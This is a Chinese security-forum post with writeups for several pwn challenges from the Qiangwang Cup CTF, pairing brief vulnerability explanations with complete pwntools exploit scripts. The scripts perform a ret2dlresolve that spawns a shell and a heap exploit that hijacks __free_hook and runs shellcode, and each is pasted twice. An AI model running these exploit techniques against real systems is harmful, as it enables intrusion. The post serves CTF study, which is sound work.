[原创] 强网杯几道pwn题的writeup by syclover-CTF对抗-看雪-安全社区|安全招聘|kanxue.com

[原创] 强网杯几道pwn题的writeup by syclover

发表于: 2021-6-15 00:11 18750

[原创] 强网杯几道pwn题的writeup by syclover

77pray

2021-6-15 00:11

18750

首先是利用strcpy把fd给覆盖为0

然后read hello_boy 通过检测

接着触发算数运算错误

就能进入栈溢出函数

最后就是直接用32位ret2dlresolve的模板了

限制点：glibc2.27，用seccomp禁掉了exec

漏洞点：edit函数有个隐性的off by null，当我们填充完chunk，然后下一个chunk的size为最低字节刚好为0x11时就能触发

然后我们依次把prev_size位高位清零，就能伪造prev_size，从而通过unlink实现overlap

利用思路：off by null 加 unlink 就能实现overlap，从而任意地址写，show函数有个加密

用z3解就行，把一个unsortedbin申请回来再show它的fd，就能泄露libc，最后套SROP读flag.txt的模板即可

漏洞点在add和free chunk时没有检测下标

所以我们可以填负数直接写free函数的GOT表，由于给了rwx权限

可以直接写shellcode执行，最后shellcode拓展攻击写orw

第一段shellcode必须可打印，先mmap出来一块32位可访问内存，读入第二段shellcode, 第二段可以不要求可打印了，这一段主要是为了配合retfq跳到32位执行，

然后到32位以后可以使用open系统调用了，再跳回64位，这时候可以直接retfq到下一句，可以写一起，然后64位下可以read进来flag, 然后使用一段cmp + jz的形式写一段比较，如果flag对应位正确的话死循环，这样可以通过程序是否崩溃判断正确，于是可以进行爆破。

漏洞主要是写入data的时候v1是有符号16位，

后面进入函数以后是无符号整数，会从int 16为拓展为unsigned int 64，

这里的绕过可以在前面if (size <= v1) 使用v1为负数，然后进入my_read 函数以后截取后部分这里会拓展为int类型，这时候可以让后半部分为正数，我们构造出来一个0xf0f00f0f的输入，即可在后面实现my_read(buf, 0x0f0f) 的溢出，

配合堆风水，改掉对应的pipe->data位，实现任意地址写

from pwn import *

arch      = 32

challenge = "./test"

local = int(sys.argv[1])

context(log_level = "debug",os = "linux")

if local:

    r = process(challenge)

    #r = gdb.debug(challenge,"break main")

    #libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

    elf = ELF(challenge)

else:

    #libc = ELF("./libc.so.6")

    r = remote("39.105.138.97",1234)

    elf = ELF(challenge)

if arch==64:

    context.arch='amd64'

if arch==32:

    context.arch='i386'

p   = lambda      : pause() 

s   = lambda x    : success(x)

re  = lambda x     : r.recv(x)

ru  = lambda x    : r.recvuntil(x)

rl  = lambda      : r.recvline()

sd  = lambda x    : r.send(x)

sl  = lambda x    : r.sendline(x)

itr  = lambda      : r.interactive()

sla = lambda a, b : r.sendlineafter(a, b)

sa  = lambda a, b : r.sendafter(a, b)

leave_ret = 0x080491a5

bss_stage = elf.bss() + 0x200

fake_ebp = bss_stage

offset = 0x4c-8+8
#read_plt  = elf.plt["read"]
 
#gdb.attach(r)

p1 = b"\x00" * 0x30
sd(p1)

sleep(1)

sd(b'A' * 0x20)

str1 = b'hello_boy'

str1 = str1.ljust(0x10,b'\x00')
sd(str1)

sl("-2147483648")

sl("-1")

sleep(0.1)
 
read_plt = 0x80490C4
 
ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"

pop_ebp_ret = 0x08049583

leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"
 
stack_size = 0x800

bss_addr = 0x0804c040 # readelf -S test | grep ".bss"

base_stage = bss_addr + stack_size
 
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)

, p32(0)
, p32(base_stage)

, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)
 
cmd = "/bin/sh"

plt_0 = 0x8049030 # objdump -d -j .plt test

rel_plt = 0x8048414 # objdump -s -j .rel.plt test

dynsym = 0x08048248  # readelf -S test

strtab = 0x08048318 #readelf -S test

fake_write_addr = base_stage + 28

fake_arg = fake_write_addr - rel_plt

r_offset = elf.got['read']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16) 

fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐（即两者的差值能被16整除），因为结构体sym的大小都是16字节

r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7，通过检测

fake_write_rel = flat(p32(r_offset), p32(r_info))

fake_write_str_addr = base_stage + 36 + align + 0x10

fake_name = fake_write_str_addr - strtab

fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))

fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)

, p32(base_stage + 80)

, p32(base_stage + 80)

, p32(len(cmd))

, fake_write_rel # base_stage + 28

, 'A' * align # 用于对齐的填充

, fake_sym # base_stage + 36 + align

, fake_write_str # 伪造出的字符串
)

payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')

payload2 += flat('A' * (100-len(payload2)))
#pause()
r.send(payload2)
r.interactive()

from pwn import *

arch = 32

challenge = "./test"

local = int(sys.argv[1])

context(log_level = "debug",os = "linux")

if local:

r = process(challenge)

#r = gdb.debug(challenge,"break main")

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

elf = ELF(challenge)

else:

#libc = ELF("./libc.so.6")

r = remote("39.105.138.97",1234)

elf = ELF(challenge)

if arch==64:

context.arch='amd64'

if arch==32:

context.arch='i386'

p = lambda : pause()

s = lambda x : success(x)

re = lambda x : r.recv(x)

ru = lambda x : r.recvuntil(x)

rl = lambda : r.recvline()

sd = lambda x : r.send(x)

sl = lambda x : r.sendline(x)

itr = lambda : r.interactive()

sla = lambda a, b : r.sendlineafter(a, b)

sa = lambda a, b : r.sendafter(a, b)

leave_ret = 0x080491a5

bss_stage = elf.bss() + 0x200

fake_ebp = bss_stage

offset = 0x4c-8+8

#read_plt = elf.plt["read"]

#gdb.attach(r)

p1 = b"\x00" * 0x30

sd(p1)

sleep(1)

sd(b'A' * 0x20)

str1 = b'hello_boy'

str1 = str1.ljust(0x10,b'\x00')

sd(str1)

sl("-2147483648")

sl("-1")

sleep(0.1)

read_plt = 0x80490C4

ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"

pop_ebp_ret = 0x08049583

leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"

stack_size = 0x800

bss_addr = 0x0804c040 # readelf -S test | grep ".bss"

base_stage = bss_addr + stack_size

payload = flat('A' * offset

, p32(read_plt)

, p32(ppp_ret)

, p32(0)

, p32(base_stage)

, p32(100)

, p32(pop_ebp_ret)

, p32(base_stage)

, p32(leave_ret))

r.send(payload)

cmd = "/bin/sh"

plt_0 = 0x8049030 # objdump -d -j .plt test

rel_plt = 0x8048414 # objdump -s -j .rel.plt test

dynsym = 0x08048248 # readelf -S test

strtab = 0x08048318 #readelf -S test

fake_write_addr = base_stage + 28

fake_arg = fake_write_addr - rel_plt

r_offset = elf.got['read']

align = 0x10 - ((base_stage + 36 - dynsym) % 16)

fake_sym_addr = base_stage + 36 + align

# 填充地址使其与dynsym的偏移16字节对齐（即两者的差值能被16整除），因为结构体sym的大小都是16字节

r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7，通过检测

fake_write_rel = flat(p32(r_offset), p32(r_info))

fake_write_str_addr = base_stage + 36 + align + 0x10

fake_name = fake_write_str_addr - strtab

fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))

fake_write_str = 'system\x00'

payload2 = flat('AAAA'

, p32(plt_0)

, fake_arg

, p32(ppp_ret)

, p32(base_stage + 80)

, p32(len(cmd))

, fake_write_rel # base_stage + 28

, 'A' * align # 用于对齐的填充

, fake_sym # base_stage + 36 + align

, fake_write_str # 伪造出的字符串

)

payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')

payload2 += flat('A' * (100-len(payload2)))

#pause()

r.send(payload2)

r.interactive()

from pwn import *

from z3 import *

context.log_level = 'debug'

context.arch = 'amd64'

context.binary = './babypwn'

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh = process("./babypwn")
#print(libc.sym['_IO_2_1_stdout_'])
#libc = ELF('./libc-2.31.so')

sh =remote("39.105.130.158",8888)
 
def solve(target):

    a1 = BitVec('a1', 33)

    ori_a1 = a1

    for i in range(2):

        item1 = (32 * a1) & 0xffffffff

        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)

    s = Solver()

    s.add(a1 == target)

    s.check()

    result = s.model()

    return result[ori_a1].as_long()
 
def add(size):

    sh.sendlineafter(">>> ","1")

    sh.sendafter("size:\n",str(size))
 
def delete(index):

    sh.sendlineafter(">>> ","2")

    sh.sendlineafter("index:\n",str(index))
 
def edit(index,data):

    sh.sendlineafter(">>> ","3")

    sh.sendlineafter("index:\n",str(index))

    sh.sendafter("content:\n",data)
 
def show(index):

    sh.sendlineafter(">>> ","4")

    sh.sendlineafter("index:",str(index))

    sh.recvuntil('\n')

    re1 = int(sh.recvuntil("\n")[:-1],16)

    re1 = solve(re1)

    re2 = int(sh.recvuntil("\n")[:-1],16)

    re2 = solve(re2) * 0x100000000

    return (re1+re2)

    #return int(sh.recvuntil("\n")[:-1],16)
 
def debug():

    gdb.attach(sh)

    pause()
 
for i in range(7):

    add(0x100)  # 0-6
 
for i in range(7):

    add(0xf0)

for i in range(7):

    delete(i+7)
 
add(0x108) #7

add(0x80) #8

add(0x108) #9

add(0x100) #10

add(0x100) #11

edit(10,b'a'*0xf0+p64(256)+p64(0x21))

edit(11,b'\x21'*0x10)

edit(9,'a'*0x108)

edit(9,'a'*0x107+'\x11')

edit(9,'a'*0x106+'\x11')

edit(9,'a'*0x105+'\x11')

edit(9,'a'*0x104+'\x11')

edit(9,'a'*0x103+'\x11')

edit(9,'a'*0x102+'\x11')

edit(9,'a'*0x100+'\xb0\x02')

for i in range(7):

    delete(i)
#edit(7,b'a'*0x100+p64(0x110))

delete(7)

delete(10)
#debug()

delete(8)

add(0x190) #0

libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 -96

print(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

free_hook = libc_base + libc.symbols['__free_hook']
#debug()

edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))

add(0x80) #1

add(0x80) #2

setcontext = libc_base + libc.symbols['setcontext']

success("setcontext: " + hex(setcontext))

context.arch = "amd64"

new_execve_env = free_hook & 0xfffffffffffff000

shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
 
mov eax, 0
syscall
 
jmp rsi

''' % new_execve_env

edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))
#print(hex(free_hook))
#debug()

frame = SigreturnFrame()

frame.rsp = free_hook + 8

frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx

frame.rdi = new_execve_env

frame.rsi = 0x1000

frame.rdx = 4 | 2 | 1
#frame = frame.decode('ascii')

edit(11,bytes(frame))
#debug()

delete(11)
 
shellcode = ""

shellcode += shellcraft.open('flag.txt')

shellcode += shellcraft.read(3, 'rsp', 100)

shellcode += shellcraft.write(1, 'rsp', 100)

payload = asm(shellcode)
 
sh.sendline(payload)
sh.interactive()

from pwn import *

from z3 import *

context.log_level = 'debug'

context.arch = 'amd64'

context.binary = './babypwn'

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#sh = process("./babypwn")

#print(libc.sym['_IO_2_1_stdout_'])

#libc = ELF('./libc-2.31.so')

sh =remote("39.105.130.158",8888)

def solve(target):

a1 = BitVec('a1', 33)

ori_a1 = a1

for i in range(2):

item1 = (32 * a1) & 0xffffffff

a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)

s = Solver()

s.add(a1 == target)

s.check()

result = s.model()

return result[ori_a1].as_long()

def add(size):

sh.sendlineafter(">>> ","1")

sh.sendafter("size:\n",str(size))

def delete(index):

sh.sendlineafter(">>> ","2")

sh.sendlineafter("index:\n",str(index))

def edit(index,data):

sh.sendlineafter(">>> ","3")

sh.sendlineafter("index:\n",str(index))

sh.sendafter("content:\n",data)

def show(index):

sh.sendlineafter(">>> ","4")

sh.sendlineafter("index:",str(index))

sh.recvuntil('\n')

re1 = int(sh.recvuntil("\n")[:-1],16)

re1 = solve(re1)

re2 = int(sh.recvuntil("\n")[:-1],16)

re2 = solve(re2) * 0x100000000

return (re1+re2)

#return int(sh.recvuntil("\n")[:-1],16)

def debug():

gdb.attach(sh)

pause()

for i in range(7):

add(0x100) # 0-6

for i in range(7):

add(0xf0)

for i in range(7):

delete(i+7)

add(0x108) #7

add(0x80) #8

add(0x108) #9

add(0x100) #10

add(0x100) #11

edit(10,b'a'*0xf0+p64(256)+p64(0x21))

edit(11,b'\x21'*0x10)

edit(9,'a'*0x108)

edit(9,'a'*0x107+'\x11')

edit(9,'a'*0x106+'\x11')

edit(9,'a'*0x105+'\x11')

edit(9,'a'*0x104+'\x11')

edit(9,'a'*0x103+'\x11')

edit(9,'a'*0x102+'\x11')

edit(9,'a'*0x100+'\xb0\x02')

for i in range(7):

delete(i)

#edit(7,b'a'*0x100+p64(0x110))

delete(7)

delete(10)

#debug()

delete(8)

add(0x190) #0

libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 -96

print(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']

free_hook = libc_base + libc.symbols['__free_hook']

#debug()

edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))

add(0x80) #1

add(0x80) #2

setcontext = libc_base + libc.symbols['setcontext']

success("setcontext: " + hex(setcontext))

context.arch = "amd64"

new_execve_env = free_hook & 0xfffffffffffff000

shellcode1 = '''

xor rdi, rdi

mov rsi, %d

mov edx, 0x1000

mov eax, 0

syscall

jmp rsi

''' % new_execve_env

edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))

#print(hex(free_hook))

#debug()

frame = SigreturnFrame()

frame.rsp = free_hook + 8

frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx

frame.rdi = new_execve_env

frame.rsi = 0x1000

frame.rdx = 4 | 2 | 1

#frame = frame.decode('ascii')

edit(11,bytes(frame))

#debug()

delete(11)

shellcode = ""

shellcode += shellcraft.open('flag.txt')

shellcode += shellcraft.read(3, 'rsp', 100)

shellcode += shellcraft.write(1, 'rsp', 100)

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无名侠雪币： 6918 活跃值： (9139) 能力值： ( LV17，RANK：797 ) 在线值：发帖 74 回帖 406 粉丝 596 关注私信	无名侠 12 2 楼 77带我 2021-6-15 00:12 0
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无名侠雪币： 6918 活跃值： (9139) 能力值： ( LV17，RANK：797 ) 在线值：发帖 74 回帖 406 粉丝 596 关注私信	无名侠 12 2 楼 77带我 2021-6-15 00:12 0
haha2 雪币： 39 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 4 粉丝 0 关注私信	haha2 3 楼 2021-6-15 09:57 0
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77pray 雪币： 1054 活跃值： (1772) 能力值： ( LV4，RANK：50 ) 在线值：发帖 7 回帖 12 粉丝 18 关注私信	77pray 5 楼 mb_qrxptfqn 作为帖子附件发一下，或者传到百度网盘，分享一下链接。已传 2021-6-15 18:22 0
jiejiee 雪币： 20 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 4 粉丝 0 关注私信	jiejiee 6 楼怎么判断是有符号数的？最后于 2021-7-11 12:46 被jiejiee编辑，原因： 2021-7-3 20:41 0
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[原创] 强网杯 几道pwn题的writeup by syclover

[原创] 强网杯几道pwn题的writeup by syclover